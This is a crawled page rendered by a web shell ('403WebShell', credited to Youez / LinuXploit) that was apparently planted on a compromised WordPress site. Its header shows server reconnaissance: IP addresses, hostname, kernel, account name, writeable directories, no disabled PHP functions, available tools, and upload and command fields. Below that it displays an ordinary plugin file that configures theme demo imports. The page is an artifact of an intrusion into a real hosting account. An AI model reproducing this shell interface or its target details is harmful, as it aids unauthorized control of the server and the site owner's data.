Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.139.87.151
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/charite-core/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/charite-core/inc/demo-import.php
<?php
/*
* @packge charite core
* @since 1.0.0
 */
function charite_demo_import()
{
  return array(
    array(
      'import_file_name'             => __('Demo', 'charite-core'),
      'page_title'                   => __('Insert Demo', 'charite-core'),
      'local_import_file'            => CHARITE_CORE_ROOT_PATH . '/demo/demo-data.xml',
      'local_import_widget_file'     => CHARITE_CORE_ROOT_PATH . '/demo/widget.wie',
      'local_import_customizer_file' =>  CHARITE_CORE_ROOT_PATH . '/demo/charite-customiser.dat',
      'local_import_json'           => array(
        array(
          'file_path'     =>  CHARITE_CORE_ROOT_PATH . '/demo/theme-options.json',
          'option_name'   => 'charite-theme-options',
        ),
      ),
      'import_notice'                => __('This import maybe finish on 5-10 minutes', 'charite-core'),

    ),

  );
}
add_filter('pt-ocdi/import_files', 'charite_demo_import');

add_action('pt-ocdi/after_import',  'charite_after_import');
if (!function_exists('charite_after_import')) :
  function charite_after_import($selected_import)
  {
    if ('Demo' === $selected_import['import_file_name']) {

      $main_menu = get_term_by('name', 'Main Menu', 'nav_menu');

      set_theme_mod('nav_menu_locations', array(
        'main-menu' => $main_menu->term_id,
      ));


      //Set Front page
      $page = get_page_by_title('Home One');
      if (isset($page->ID)) {
        update_option('page_on_front', $page->ID);
        update_option('show_on_front', 'page');
      }

      $blog = get_page_by_title('Blog Clasic');
      if (isset($page->ID)) {
        update_option('page_for_posts', $blog->ID);
        update_option('show_on_front', 'page');
      }
    }
  }
endif;


/**
 * Adding local_import_json and import_json param supports.
 */
if (!function_exists('charite_after_content_import_execution')) {
  function charite_after_content_import_execution($selected_import_files, $import_files, $selected_index)
  {

    $downloader = new OCDI\Downloader();

    if (!empty($import_files[$selected_index]['import_json'])) {

      foreach ($import_files[$selected_index]['import_json'] as $index => $import) {
        $file_path = $downloader->download_file($import['file_url'], 'demo-import-file-' . $index . '-' . date('Y-m-d__H-i-s') . '.json');
        $file_raw  = OCDI\Helpers::data_from_file($file_path);
        update_option($import['option_name'], json_decode($file_raw, true));
      }
    } else if (!empty($import_files[$selected_index]['local_import_json'])) {

      foreach ($import_files[$selected_index]['local_import_json'] as $index => $import) {
        $file_path = $import['file_path'];
        $file_raw  = OCDI\Helpers::data_from_file($file_path);
        update_option($import['option_name'], json_decode($file_raw, true));
      }
    }
  }
  add_action('pt-ocdi/after_content_import_execution', 'charite_after_content_import_execution', 3, 99);
}

Youez - 2016 - github.com/yon3zu
LinuXploit